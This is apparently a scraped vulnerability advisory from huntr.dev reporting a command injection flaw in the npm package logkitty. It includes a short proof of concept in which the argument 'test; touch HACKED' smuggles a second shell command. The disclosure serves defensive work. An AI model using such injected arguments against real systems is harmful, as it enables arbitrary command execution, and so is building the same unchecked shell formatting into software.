Lucene search

K
huntrMik3171-NPM-LOGKITTY
HistoryMar 27, 2020 - 12:00 a.m.

Command Injection in zamotany/logkitty

2020-03-2700:00:00
mik317
www.huntr.dev
4

0.01 Low

EPSS

Percentile

83.3%

Overview

The issue occurs because a user input is formatted inside a command that will be executed without any check.

Proof of Concept (Credit: Mik317)

  1. Check there aren’t files called HACKED
  2. Execute the following commands in another terminal:

npm i logkitty # Install affected module

logkitty android app 'test; touch HACKED' #  Note the *touch command* is inside the *'* (single quote), so it's an argument, while it will be executed anyway

  1. Recheck the files: now HACKED has been created

0.01 Low

EPSS

Percentile

83.3%